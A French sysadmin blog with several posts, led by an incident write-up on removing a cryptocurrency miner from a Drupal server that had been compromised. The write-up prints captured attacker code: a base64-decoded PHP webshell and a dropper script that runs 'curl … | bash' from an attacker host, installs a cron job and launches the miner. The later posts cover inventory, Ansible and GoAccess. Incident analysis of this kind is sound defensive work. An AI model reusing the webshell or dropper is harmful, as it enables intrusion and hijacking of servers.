Devenir SysAdmin d’une PME – Mineur de bitcoin- Billet n°2

Ce billet fait partie de la série :
- Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Comme le disait SebOS666 dans son billet Décoder un script PHP malveillant, comment s'en protéger, les failles Drupal récentes (Drupalgeddon) étaient bien critiques et les sites non mis à jour ont conduits à l'infection de serveurs par des mineurs de bitcoin.

Attention :
- je ne suis pas expert en sécurité, juste un sysadmin ayant un peu d'expérience. Et je suis preneur de tout complément d'information dans les commentaires. J'ai gardé les codes sources exactes, j'ai anonymisées certaines parties pour des raisons pratiques. Ce billet synthétise deux attaques différentes.
- le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses... Et la partie "PHP / Faille Drupal" est volontairement vide.

Mineur de bitcoin Détection & Root Cause

Détection : la supervision montre des graphs anormaux de charge processeur sur une machine qui héberge un site web.
Une connexion SSH permet de lancer un htop qui donne un processus qui tourne à 100% depuis un moment...

Cause : exploitation d'une faille du site sous Drupal qui n'est pas dans la toute dernière version.

Analyse des processus

Via htop on a processus chron-34e2fg qui tourne un fond. Et on a son PID

un PID. La commande lsof donne le chemin du programme a la source :

root@machine:~$ lsof -p le_PID
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
chron-34e 2059 www-data cwd DIR 202,1 4096 2 /
chron-34e 2059 www-data txt REG 202,1 2368064 264466 /var/tmp/.jnks/chron-34e2fg
chron-34e 2059 www-data 0r FIFO 0,8 0t0 478384 pipe
chron-34e 2059 www-data 1u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 2u REG 202,1 46558 395911 /tmp/tmpfW5PPSg
chron-34e 2059 www-data 3u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 8u 0000 0,9 0 1202 anon_inode
chron-34e 2059 www-data 9r CHR 1,3 0t0 1204 /dev/null
chron-34e 2059 www-data 10u IPv4 479092 0t0 TCP localhost:59304->ip56.ip-217-XXX-XXX.eu:https (ESTABLISHED)

On a tous les processus qui sont derrière ce PID et les fichiers incriminés à supprimer.

Autre cas avec un autre mineur :

root@machine:/# ps -aux |grep sus
rapport+ 19884 0.1 0.0 178868 944 ? Ssl 06:35 0:00 ./sustes -c config.json -t 1


Dans ce cas là, on a un fichier de configuration.


Détection des processus et fichiers ouverts par un utilisateur


root@machine:/# lsof -u www-data
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sh 5399 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
sh 5399 www-data rtd DIR 8,1 4096 2 /
sh 5399 www-data txt REG 8,1 125400 1088 /bin/dash
sh 5399 www-data mem REG 8,1 1738176 161 /lib/x86_64-linux-gnu/libc-2.19.so
sh 5399 www-data mem REG 8,1 140928 158 /lib/x86_64-linux-gnu/ld-2.19.so
sh 5399 www-data 0r FIFO 0,8 0t0 263035594 pipe
sh 5399 www-data 1u REG 8,1 0 11993 /tmp/tmpfsy8gCO
curl 5400 www-data cwd DIR 8,1 4096 817666 /var/www/vhosts/monsite.com
curl 5400 www-data rtd DIR 8,1 4096 2 /
curl 5400 www-data txt REG 8,1 182216 307756 /usr/bin/curl

On retrouve la commande curl (cf ci-dessous) et la commande appelant le fichier dans /tmp

Blocage des IP des serveurs extérieurs

Dans les processus on voit donc une connexion sur ip56.ip-217-XXX-XXX.eu

On cherche l'IP derrière cette machine via un simple et bête ping

root@machine:~$ ping ip56.ip-217-XXX-XXX.eu
PING ip56.ip-217-XXX-XXX.eu (217.182.231.56) 56(84) bytes of data.
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=1 ttl=58 time=13.2 ms
64 bytes from ip56.ip-217-XXX-XXX.eu (217.182.231.56): icmp_req=2 ttl=58 time=18.9 ms
^C
--- ip56.ip-217-XXX-XXX.eu ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1001ms
rtt min/avg/max/mdev = 13.284/16.102/18.920/2.818 ms

Un rapide check sur Internet indique que c'est un noeud d'entrée TOR.

On bannira cette IP.

On regarde le contenu du fichier de configuration

more config.json
{
"algo": "cryptonight", // cryptonight (default) or cryptonight-lite
"av": 0, // algorithm variation, 0 auto select
"background": true, // true to run the miner in the background
"colors": true, // false to disable colored output
"cpu-affinity": null, // set process affinity to CPU core(s), mask "0x3" for cores 0 and 1
"cpu-priority": null, // set process priority (0 idle, 2 normal to 5 highest)
"donate-level": 1, // donate level, mininum 1%
"log-file": null, // log all output to a file, example: "c:/some/path/xmrig.log"
"max-cpu-usage": 95, // maximum CPU usage for automatic mode, usually limiting factor is CPU cache not this option.
"print-time": 60, // print hashrate report every N seconds
"retries": 5, // number of times to retry before switch to backup server
"retry-pause": 5, // time to pause between retries
"safe": false, // true to safe adjust threads and av settings for current CPU
"threads": null, // number of miner threads
"pools": [
{
"url": "158.69.XXXX.XXXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3Ywq", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "192.99.XXXX.XXXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqD", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
},
{
"url": "202.144.XXX.XXX:3333", // URL of mining server
"user": "4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfg", // username for mining server
"pass": "x", // password for mining server
"keepalive": true, // send keepalived for prevent timeout (need pool support)
"nicehash": false // enable nicehash/xmrig-proxy support
}
],
"api": {
"port": 0, // port for the miner API https://github.com/xmrig/xmrig/wiki/API
"access-token": null, // access token for API
"worker-id": null // custom worker-id for API
}
}

On bannira ces IP.

Vérification des connexions réseaux actives

Trois commandes et outils pour voir les connexions actives avant et après le bannissement

netstat -puant
Nethogs
Iftop

qui confirment les connexions aux serveurs.

Bannir les IP

Pour chaque série d'IP, on bannit via iptables

iptables -A INPUT -s 217.182.231.56 -j DROP
iptables -A OUTPUT -d 217.182.231.56 -j DROP

Connexion sortantes et entrantes bloquées, nettoyage...

Méthode barbare

rm -rf /tmp
rm -rf /var/tmp

Et on tue les processus liés à www-data

killall -u www-data

Autres fichiers en PHP dans la partie Drupal - site web

Dans le dossier Drupal, on fait du nettoyage de tout ce qui n'est pas lié à Drupal. ON trouve, entre autres des fichiers étranges.

$ ls
css.php sl.php ifm.php phpminiadmin.php 404.php iindex.php
cat lefichier |base64 -d
if(isset($_REQUEST['pass']))
{
echo "
"; 
$hash = hash("sha512", $_REQUEST['pass']);
if($hash == "e7f1b39e46ee003976cecc130362059edd1785e0dd8c6bd02f29d7...")
{ if(isset($_REQUEST['cmd'])) { $cmd = ($_REQUEST['cmd']); system(base64_decode($cmd)); }}
else echo "gtfo";
echo "
";
die;
}

Pour le reste, je vous renvoie à Décoder un script PHP malveillant, comment s'en protéger, le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses...

Les fichiers réapparaissent

Malgré les kill, le processus se relance et les fichiers réapparaissent.

On regarde de nouveau les processus

root@machine:/# ps -aux |grep rapport
rapport+ 15416 0.0 0.0 4336 764 ? Ss 09:46 0:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 15418 0.0 0.0 13236 2996 ? S 09:46 0:00 bash -s
rapport+ 15449 0.0 0.0 5808 692 ? S 09:46 0:00 sleep 3
root 15595 0.0 0.0 12728 2248 pts/1 S+ 09:46 0:00 grep rapport

root@machine:/# ps -eaf |grep rapport
rapport+ 16536 16535 0 09:47 ? 00:00:00 /bin/sh -c curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s
rapport+ 16537 16536 0 09:47 ? 00:00:00 curl -s http://192.99.XXX.XXX:8220/logo9.jpg
rapport+ 16538 16536 0 09:47 ? 00:00:00 bash -s
rapport+ 16941 15854 0 09:47 ? 00:00:00 php-fpm: pool monsite.com
root 16959 14566 0 09:47 pts/1 00:00:00 grep rapport
On un curl qui est lancé (qui était masqué).

On récupère le fichier via wget et on regarde son contenu

$ cat logo9.jpg
#!/bin/sh
pkill -f 192.99.XXX.XXX
pkill -f suppoie
ps aux | grep -vw sustes | awk '{if($3>40.0) print $2}' | while read procid
do
kill -9 $procid
done
rm -rf /dev/shm/jboss
ps -fe|grep -w sustes |grep -v grep
if [ $? -eq 0 ]
then
pwd
else
crontab -r || true && \
echo "* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s" >> /tmp/cron || true && \
crontab /tmp/cron || true && \
rm -rf /tmp/cron || true && \
curl -o /var/tmp/config.json http://192.99.XXX.XXX:8220/3.json
curl -o /var/tmp/sustes http://192.99.XXX.XXX:8220/rig
chmod 777 /var/tmp/sustes
cd /var/tmp
proc=`grep -c ^processor /proc/cpuinfo`
cores=$((($proc+1)/2))
num=$(($cores*3))
/sbin/sysctl -w vm.nr_hugepages=`$num`
nohup ./sustes -c config.json -t `echo $cores` >/dev/null &
fi
sleep 3
echo "runing....."

Un script shell lié à une IP qui n'a rien à voir, qui se masque et qui relance la création des mineurs de bitcoins....

C'est ce processus masqué qui fait revenir les fichiers...

Ban de l'IP

iptables -A INPUT -s 192.99.XXX.XXX -j DROP
iptables -A OUTPUT -s 192.99.XXX.XXX -j DROP

Nettoyage des tâches cron

Et malrgé tout ça, il y a une relance du processus... Même si les fichiers ne réapparaissent pas.

En effet, l'astuce est qu'il y a des crontab spécifiques aux sites hébergés sont dans /var/spool/cron/crontabs
Il reste des tâches à nettoyer :

root@machine:/var/spool/cron/crontabs# ls
www-data

cat www-data
root@machine:/var/spool/cron/crontabs# cat www-data
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/cron installed on Mon May 21 09:46:01 2018)
# (Cron version -- $Id: crontab.c,v 2.13 1994/01/17 03:20:37 vixie Exp $)
* * * * * curl -s http://192.99.XXX.XXX:8220/logo9.jpg | bash -s

Il faut supprimer ces fichiers et tuer tous les processus liés à l'utilisateur

rm /var/spool/cron/crontabs/www-data
killall -u www-data

Changement des droits de /var/tmp

Par défaut, les droits de /var/tmp était en 777 sur cette machine...

chmod 755 /var/tmp

comme ça le processus lié à l'utilisateur php ne peut plus écrire.

Conclusion

On finit par la mise à jour du serveur. On a alors un site qui peut rester en ligne, le n temps que l'on reparte sur un autre serveur virtuel bien propre sur lequel on restaure la sauvegarde du site, on met à jour, et on bascule. Et on supprime la machine compromise. Sait-on jamais...

Devenir SysAdmin d’une PME – Gestion du legacy- Billet n°1

Ce billet fait partie de la série :
- Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0

Le legacy ?

Dans le présent billet je voudrais parler du legacy. Sous le terme de legacy ou héritage en anglais, j'inclue l'ensemble des machines et serveurs du système d'information que l'on a en gestion, et dont, on hérite d'une certaine façon en reprenant la gestion du parc informatique.

En quoi est-ce un point important ? Afin de pouvoir aller vers l'avenir, il faut déjà regarder le passé et faire un état des lieux. L'objectif est d'avoir une parfaite vue d'ensemble des machines, de leurs rôles, de leurs criticités... De savoir ce qui est documenté et ce qui ne l'est pas, de savoir quelle machine sert à quoi...

En premier lieu il est important de dresser un inventaire exhaustif du par informatique côté serveur (dans un premier temps on exclue les postes utilisateurs : chacun est administrateur de sa machine, sous une distribution GNU/Linux de son choix et cela simplifie grandement les choses en terme de maintenance des postes utilisateurs...)

Dresser une cartographie complète de l'existant

A ma connaissance, il y a deux façons : la façon barbare et la façon longue et fastidieuse

La façon barbare : Il faut préalable connaître l'ensemble des plages IP utilisées sur le réseau de l'entreprise et on fait alors un scan en mode intense via Nmap de l'ensemble des IP de ces plages, depuis une machine du réseau interne. Avec un peu de chance on se fait bannir rapidement par un outil de détection... ou pas.

Ce scan intense permet de savoir sur quelle IP quelle machine répond, d'avoir son OS et sa version, les ports ouverts... A moins que les machines soient bien configurées et sécurisées, cela donne une bonne idée des plages IP occupées, des machines qu'il y a derrière et donne une bonne base de travail.

La façon plus moderne

Avec un peu de chance un outil du type Ansible a été mis en place et les machines sont ansiblelisées. On pourra donc se baser (se reposer) sur des playbooks existants pour avoir une base pour interroger les machines de façon moins barbare.

la façon longue et fastidieuse

J'évoquais dans mon article précédent le fait que je ne pars pas de rien, j'ai connaissance d'une liste des machines, dont des hyperviseurs sur lesquels tournent des machines virtuelles. J'ai accès à ces hyperviseurs. Je me connecte donc au hyperviseurs et de là je me connecte aux machines virtuelles. Je notes les caractéristiques qui m'intéressent, je vois ce que ces machines contiennent en terme de services... Une à une, je me connecte à la machine et je note les informations pertinentes dans un tableau que j'enrichis au fur et à mesure.

Long. Très long. Mais cela m'a permis de valider que j'ai bien accès à chacune des machines (j'ai ensuite tester une connexion depuis ma machine en SSH pour valider que ma clef publique a bien été déployée sur chaque serveur par le système qui le fait de façon automatisée), que la machine est accessible, fonctionnelle...

Tableau de suivi

J'ai donc constitué un tableau dans un tableur pour faire mon suivi. Les colonnes sont les suivantes :
- Nom de machine,
- IP publique
- IP privée
- Groupe
- Wiki : j'ai créer une page dédiée pour cette machine que j'enrichis au fur et à mesure
- Services
- Etat des sauvegardes : sauvegardée ou non
- Version de l'OS
- Etat des mises à jour
- Présence ou non de fail2ban
- Liste des ports ouverts sur l'extérieur
- Machine faisant partie de la liste des machines supervisées par notre outil (un billet complet sera dédié à la supervision).
...

Comment gérer le legacy ? Des O.S. obsolètes...

Que ce soit des machines virtuelles ou physiques, le constat est bien ce que l'on pouvait redouter : des tas de machines sont souvent sous des versions obsolètes d'O.S. non maintenues... Il va y avoir du travail.

Il ne faut surtout pas se précipiter et migrer de version en version de Debian à coup de dist-upgrade. Il faut comprendre pourquoi ces machines ne sont pas à jour, quels logiciels et dans quels versions tournent sur ces serveurs... Dépendance à une version particulière de PHP ? La migration sur une version plus récente casse une API ? Les raisons sont multiples et avant de penser "Et la sécurité, vite faut mettre à jour", il faut penser "de toute façon ça tournait jusque là, donc on reste calme, on réfléchit et on avise".

Il faut prendre ça avec humour.

Vu les uptime et les versions d'OS, vu que le parc informatique est composé à 99% de machine Debian en version stable (de différentes époques), je peux affirmer que oui, Debian stable, c'est stable.

Comment gérer le legacy ? Cas de la gestion des machines physiques

Dans la liste des serveurs, il y a des machines qui sont des vrais serveurs physiques. On pense donc aux capacités de redondance : alimentations redondées, ventilateurs redondés, disques en RAID... Le soucis est que je ne sais pas quand les machines ont été achetés, elles tournent 24h sur 24h...

Dans une vie précédente, j'ai été confronté au cas suivant : des serveurs de plus de dix ans... Un ventilateur de la baie de disque a lâché. Pas grave, c'est redondé, on verra bien. Sauf que le deuxième ventilateur a tourné plus vite pour compenser la dissipation de chaleur nécessaire, a lâché quelques jours après. Interruption de la baie de disques et de la production, nécessité de renouveler du matériel en urgence et bien que sous garantie étendue par le constructeur, ils ont mis plusieurs jours à retrouver un modèle compatible au fin d'un stock à l'autre bout de la France et à le faire revenir... en urgence...

Cette expérience m'a marquée et depuis, je fais un check régulier des machines de la salle serveur. Un contrôle journalier des différents voyants des différents serveurs. L'objectif est de prévoir & anticiper les pannes.

Et surtout je commence à anticiper et à prévoir une migration de toutes les machines que je peux migrer sur des machines virtuelles avec des O.S. plus récent et ansiblelisés. L'intérêt de passer de machines physiques à des machines virtuelles dans un vraie data-center et de faire abstraction de la gestion du matériel et de délégué ça à des personnes dont c'est vraiment le métier...

Comment gérer le legacy ? Lister les priorités et les services critiques

Une fois que l'on a une cartographie un peu plus complète, il faut alors lister les machines critiques, avec leurs importances (serveur de mail, d'impression, DNS...) et au plus vite vérifier :
- que l'on a des sauvegardes et que l'on sait les restaurer ;
- que ces sauvegardes marchent ;
- que les machines sont à jour...

Il faut savoir pour chaque machine sa criticité, avoir un PRA (Plan de Rétablissement de l'Activité) et pour le cas des sauvegardes, partir du principe que si on ne sait pas, cela n'existe pas. Peut-être (et sûrement) qu'il y a des sauvegardes régulières et automatisées. Mais si on ne sait pas, on ne sait donc pas restaurer les données et les sauvegardes ne servent à rien en l'état. Donc là encore un gros chantier pour vérifier que tout est bien sauvegarder et avoir un système de sauvegarde uniforme, efficace et puissant (BORG !).

Conclusion

Un deuxième billet qui montre le début d'un long chantier que j'ai entamé avec plusieurs heures de travail par jour pendant des semaines.

Dans les prochains sujets, il y aura la Supervision, les Sauvegardes, la Sécurité, les montées en version et les mises à jours.... Encore plein de sujets et d'expériences à faire sur mon histoire et comment je deviens SysAdmin d'une PME. A suivre donc.

Devenir SysAdmin d’une PME, retour d’expérience – Billet n°0

Introduction

Depuis mes débuts sous Linux, j'ai toujours su taper des commandes. Très tôt, j'ai appris à installer différents services et des serveurs (essentiellement dans des machines virtuelles et pour faire du LAMP : Linux, Apache, MySQL, PHP), mais c'est toujours resté de la bidouille. Avec le début de mon autohébergement fin décembre 2015, j'ai commencé à m'intéresser aux problématiques d'administration système. A l'été 2016, pendant les vacances, j'ai mes débuts véritable en sysadmin - administration système en cherchant à comprendre comment fonctionnait Yunohost dans ses entrailles, les différents services, en cassant et restaurant sans soucis à plusieurs reprises mon instance de production... J'ai donc appris et pas mal progressé à titre personnel, en gérant mon instance Yunohost, soit un seul serveur.

Pourtant, à côté, j'ai continué à m'intéresser à une gestion plus professionnelle et industrielle et en début de cette année 2018, je me suis vu affecter la reprise de la gestion de toute l'infrastructure de la société dans laquelle je travaille. Cette prise de fonction et de responsabilité a été décidé dans le cadre d'une restructuration des services : gérer les services de production, de support et d'infrastructure interne et liée à nos clients permet d'avoir une meilleur vision d'ensemble, plus de réactivité...

Comme toute nouvelle prise de fonction, les précédentes personnes ayant eu à gérer le service sont parties faire d'autres horizons bien qu'une passation de connaissances s'est faite, elle s'est faite rapidement.

Et avec les semaines, on découvre que même si une documentation existe (répartie dans plusieurs wikis), elle n'a pas été maintenue à jour, n'est pas assez détaillée ou obsolète... Et avec le temps il y a des choses qui marchent mais on ne sait pas comment, il y a des serveurs qu'on ne touche pas, des services qui tournent alors on ne touche à rien. Tout cet héritage et empilage de choix technique mis en place avec les années par les différents administrateurs systèmes qui se sont succèdés, c'est ce que j'appellerai le legacy, soit l'héritage.

Contexte de l'infrastructure Je pense qu'il est important, pour la suite des billets que j'aurai à rédiger, de préciser, que l'infrastructure actuelle se compose de trois grandes catégories de machines et ces catégories ont leurs importances :
- Les machines physiques : 99% des serveurs sont sous Debian, dans différentes versions
- Les machines virtuelles sur un hyperviseur : Xen et Proxmox
- Les machines cloud (sur l'hyperviseur d'un autre)

Un travail de modernisation avec le passage à des technologies plus évolutives et flexibles (virtualisation, Docker / K8S Kubernetes...) a été débuté mais il reste encore beaucoup de "une machine physique ou virtuelle pour un service dédié" avec autant de système d'exploitations et d'applications à maintenir et à découvrir...

Je pense que je ferai là encore, une série de billets au fur et à mesure de ma progression et sur comment j'ai commencer à dresser une cartographie détaillé de l'existant, documenter de novo en reprenant TOUTE la documentation existante pour la remettre d'aplomb... Et dans le futur, je parlerai de mon expérience dans la mise en place de nouveau service, dans la refonte et modernisation de l'infrastructure...

L'objectif de ma série de billets ces prochains mois sera le partage de mon expérience acquise avec le temps, le partage de bonnes pratiques mises en places, d'astuces etc. En complément de ma série de billets plus spécifiques sur le projet Chatonkademy/

Les commandes que j'utilise le plus

Pour finir ce premier billet un peu fourre-tout, je voudrais parler des commandes que j'utilise le plus au quotidien. A l'heure actuelle, quand l'outil de supervision (sous Zabbix) remonte des alertes, je me connecte en SSH sur les machines et voici les commandes que j'utilise le plus :
- ncdu
- ls -lrtu
- tail -f /var/log/le_fichier_de_log_qui_va_bien

ncdu Habitué de la commande du dont je ne me rappelle jamais les options pour avoir uniquement le niveau 1 (réponse du -h —max-depth=1 .), j'ai découvert et depuis je ne m'en passe plus et l'installe sur tous les serveurs la commande ncdu, soit NCurses Disk Usage. Simple, rapide et efficace, on a de suite l'espace disque occupé par un répertoire. Pratique pour de suite savoir quel dossier prend plein de place, et c'est très complémentaire à du, en ajoutant en plus un système de navigation au clavier dans l'arborescence scannée. Indispensable.

ls -lrtu on liste les fichiers et on les trie par date pour de suite avoir en base de liste les derniers fichiers modifiés. Pratique pour savoir quel est le dernier fichier de logs qui vient d'être modifié (c'est le dernier de la liste), voir quel est le propriétaire et la date et heure de dernière écriture.

Pour ensuite faire dessus le classique

tail -f /var/log/le_fichier_de_log_qui_va_bien J'ai dans les projets pour les mois à venir la mise en place d'un système de gestion des logs centralisés mais en attendant, à l'ancienne, je consulte les logs avec un tail -f et éventuellement du |grep motif_qui_va_bien pour filtrer affiner un peu.

Et pour le reste, il y a les commandes que j'évoquais dans mes billets :
- Yunohost - Supervision en ligne de commande
- Yunohost - Supervision du trafic réseau

Chatonkademy – Billet N°2 – Ansible pour les mises à jour

Série de billets sur le projet Chatonkademy

Introduction

Un billet déjà écrit avec quelques commandes Ansible Jouons avec Ansible et Virtualbox, dans celui-ci je donnerai quelques astuces et commandes sur l'usage d'Ansible pour des choses simples. En effet, le projet Chatonkademy contient, entre autre 40 machines virtuelles sous Debian 9 (une par étudiant), que je souhaite gérer facilement. D'où Ansible.

Prérequis

Avoir des machines installées, avec un serveur SSH actif et configuré. L'installation des 40 machines, la configuration par SSH (pour automatiser la création de l'utilisateur, de la machine etc.) fera l'objet d'un billet plus complexe sur Ansible. Car il y a une seule IP publique pour la machine superviseur (sous Proxmox), on part d'un parc de 40 machines déjà installées et configurées à minima. Toutes accessibles en SSH sur un port différent du 22 (avec redirection au niveau de l'hyperviseur).

Connexion SSH par clef publique

Copie de la clef ssh publique de l'utilisateur que j'ai sur ma machine principale (j'ai le même utilisateur sur les machines en face) sur toutes les machines via

#!/bin/bash
sshpass -p 'password' ssh-copy-id genma@chaton01.chatonkademy.com -p 20122
sshpass -p 'password' ssh-copy-id genma@chaton02.chatonkademy.com -p 20222
sshpass -p 'password' ssh-copy-id genma@chaton03.chatonkademy.com -p 20322

Pour pouvoir me connecter en ssh depuis ma machines dans .ssh/config j'ai ajoué

host chaton01.chatonkademy.com
HostName chaton01.chatonkademy.com
Port 20122
host chaton02.chatonkademy.com
HostName chaton02.chatonkademy.com
Port 20222
host chaton03.chatonkademy.com
HostName chaton03.chatonkademy.com
Port 20322
(...)

Ansible les bases

Dans le fichier /etc/ansible/hosts j'ai ajouté

[chatonkademy_std]
chaton01.chatonkademy.com:20122
chaton02.chatonkademy.com:20222
chaton03.chatonkademy.com:20322
(...)

Quelques tests avec un appel de commande pour valider qu'Ansible marche bien

ansible openhackademy -m command -u genma --args "uptime" --one-line
ansible openhackademy -m command -u genma --args "df -h" --one-line

On remplacera le args par une commande simple que l'on veut et on redirigera la sortie standard dans un fichier que l'on analysera par la suite.

Ansible playbook pour mises à jours

Création d'un playbook Ansible pour les mises à jours dans le fichier hosts update_upgrade.yml

---
- hosts: chatonkademy_std
remote_user: genma
become_method: sudo
become_user: root

tasks:
- name: update and upgrade apt packages
apt:
update_cache=yes
state=latest
upgrade=yes

Lancement du playbook

ansible-playbook -i /etc/ansible/hosts update_upgrade.yml -K

Résultat de l'exécution

ansible-playbook -i inventory/production/chatonkademy update_upgrade.yml -K
SUDO password:
[DEPRECATION WARNING]: Instead of sudo/sudo_user, use become/become_user and make sure become_method is 'sudo' (default). This feature will be removed in version 2.6.
Deprecation warnings can be disabled by setting deprecation_warnings=False in ansible.cfg.

PLAY [chatonkademy] **********************************************************

TASK [Gathering Facts] ******************************************************
ok: [chaton01.chatonkademy.com]
ok: [chaton02.chatonkademy.com]
ok: [chaton03.chatonkademy.com]
ok: [chaton04.chatonkademy.com]

TASK [update and upgrade apt packages] **************************************
[WARNING]: Could not find aptitude. Using apt-get instead.
changed: [chaton04.chatonkademy.com]
changed: [chaton01.chatonkademy.com]
changed: [chaton03.chatonkademy.com]
changed: [chaton02.chatonkademy.com]

PLAY RECAP *****************************************************************
chaton02.chatonkademy.com : ok=2 changed=0 unreachable=0 failed=0
chaton03.chatonkademy.com : ok=2 changed=0 unreachable=0 failed=0
chaton04.chatonkademy.com : ok=2 changed=0 unreachable=0 failed=0

Conclusion

Les machines virtuelles sont utilisables via Ansible pour la maintenance etc. On va pouvoir des choses intéressantes. A suivre dans un projet billet sur le projet Chatonkademy !

Cours sur les serveurs web par Luc Didry

Luc Didry, qui se présent lui-même comme un Administrateur Systèmes, Perliste fou, Debianeux convaincu, Libriste radical, est également connu sous son pseudonyme de Framasky et pour ses activités d' Administrateur systèmes au sein de l'association Framasoft.

Il est (a été ?) également enseignant pour la formation de la Licence Professionnelle Administration de Systèmes, Réseaux et Applications à base de Logiciels Libres (asrall.fr, adresse qui redirige vers le programme de la formation.

Ses cours (avec quelques exercices en bas de page) sont mis à disposition sur son site https://luc.frama.io/cours-asrall/serveurs_web/index.html. Au sommaire :
- Introduction
- Autres élément de configuration
- Les hôtes virtuels & les journaux
- Redirections, contrôles d'accès & chiffrement
- CGI & cache
- Mesures de performance

Des tutoriels sur Apache et Nginx et leurs configurations, j'en ai lu un certain nombre et ce cours est probablement le meilleur que j'ai lu. A la sortie, on a une très bonne référence pour la compréhension des fichiers de configuration d'Apache et Nginx, avec une comparaison entre eux, leurs spécificités et caractéristiques, avec les différentes options et leurs rôles respectifs.

Pour tout comprendre du contenu des fichiers de configuration d'Apache et Nginx, dans le détail, mais de façon claire, précise et pédagogue, je ne peux donc que recommander de lire ce cours. J'ai compilé tout ça dans un document LibreOffice, il y en a pour 70 pages... De quoi s'occuper quelques heures. Et un grand MERCI à Luc aka Framasky pour ce super boulot et sa mise à disposition.

Yunohost – Goaccess – Rapport HTML depuis des logs d’un serveur web

Présentation de GoAcess

GoAccess présente des statistiques en lisant les logs de votre serveur Web, non pas en exécutant du code côté utilisateur.

Site : https://goaccess.io/

GoAccess fonctionne en ligne de commande et présente par défaut ses résultats dans la console, en temps réel. Une série de panels (que l'on peut étendre individuellement) présentent les différents types de données : nombres de visiteurs uniques, URL non trouvées, OS, etc. Classique. Il est également possible de générer une − plutôt jolie − page html

Le site GoAccess : analyse simple et efficace des logs d'un serveur Web - https://hal-9000.fr/?s11R3Q a fait un tutoriel qui montre qu'il est assez simple d'installer et d'utiliser GoAccess.

Autres tutoriels présentant des astuces complémentaires :
- Goaccess : un autre outil de Web Analytics par Denis Szalkowski
- GoAccess – Des logs web en temps réel et en cli

GoAccess répond à mon besoin

J'ai étudié différents systèmes permettant de générer des rapports à partir de logs, je connais un peu ELK (ElasticSearch, LogStash, Kibana), mais ça reste très complexe et un peu usine à gaz pour mon besoin qui est de tout simplement superviser / avoir des rapports issus des logs de mon serveur Yunohost. Donc GoAcess correspond bien à mon besoin.

Par défaut, Yunohost conserve les logs du serveur Nginx un certain temps (il faudra que je regarde en détail la configuration de logrotate), cela convient

Automatisons un peu tout ça...

L'objectif est d'avoir des rapports réguliers en HTML. Pour ça, j'ai mis en place une tâche CROn qui va faire une concatènation des différents fichiers de logs et générer un seul et même rapport HTML via GoAccess qui contient donc une visualisation graphique de l'ensemble des données issues de ces logs. Je peux ensuite m'envoyer le rapport par mail, le récupérer, le mettre à disposition dans un espace dédié du serveur web...

#/bin/bash

# On fait le cat dans /tmp pour que ce soit effacer ensuite
cat /var/log/nginx/blog.genma.fr-access.log* > /tmp/blog.genma.fr-access.full.log
echo "Goacess - Lancement de la generation des rapports HTML"
goaccess --log-format=COMBINED -f /tmp/blog.genma.fr-access.full.log -a -o BlogFullReport.html
# Le fichier BlogFullReport.html contient un beau rapport HTML complet généré par Goaccess.
echo "Goacess - Fini"

Yunohost ?

Yunohost propose la création de coquille vide pour des applications, via les Multi Custom Webapp, une version forkée des Custom Webapp qui permettent d'en créer plusieurs.

J'installe l'application en indiquant comme paramétrage :
- Nom de l'application : GoAccess
- Adresse et chemin : moninstanceyunohost.fr et /goacess comme sous répertoire
- Utilisateur : genma

Ca mouline (il y a la création et modification de la configuration nginx qui se fait) et ensuite j'ai bien une tuile "GoAccess" dans la liste des applications et un dossier "/var/www/webapp_genma/GoAccess" dans lequel j'ai par défaut le fichier "index.html".

Il ne reste qu'à ajouter au script ci-dessus une ligne du type

mv /tmp/BlogFullReport.html /var/www/webapp_genma/GoAccess

et depuis un navigateur web, en étant connecté à Yunohost d'aller sur
https://moninstanceyunohost.org/goacess/BlogFullReport.html

pour avoir le beau rapport généré par GoAccess !

Aller plus loin ?

Il suffit de faire un script un peu plus avancé, de le mettre en tâche planifiée (cron) et de créer par exemple un fichier index.html qui contiendra par exemple une série de liens :
- BlogFullReport_Jour1.html
- BlogFullReport_Jour2.html
- BlogFullReport_Jour3.html
- InstanceFullReport_Jour1.html
- InstanceFullReport_Jour2.html
- InstanceFullReport_Jour3.html

Ici les fichers InstanceFullReport_JourX.html étant généré par une ligne faisant appel à GoAcess mais pour un cumul de logs de fichiers Nginx pour l'instance (cumul des fichiers de log nginx pour monistanceyunohost.fr).

Debian – Rester sur une version ; passer de stable en stable

Yunohost n'est pas compatible avec Stretch

Debian Stretch est sortie en version stable au début de l'été. Pour le détail, voir la dépêche Linuxfr Debian 9 : Stretch déploie ses tentacules.

Les changements apportés par cette version sont suffisamment importantes pour que Yunohost ne soit pas encore compatible. Pour rappel, Yunohost repose sur Debian en n'étant qu'une surcouche (les manipulations spécifiques à Debian restent possibles, même si il faut savoir ce que l'on fait pour ne pas casser la compatibilité avec Yunohost).

Pour en savoir plus, voir le sujet dans le forum : Debian Stretch | YunoHost is NOT YET compatible | YunoHost N'EST PAS ENCORE compatible

Comment rester sur une version de Debian

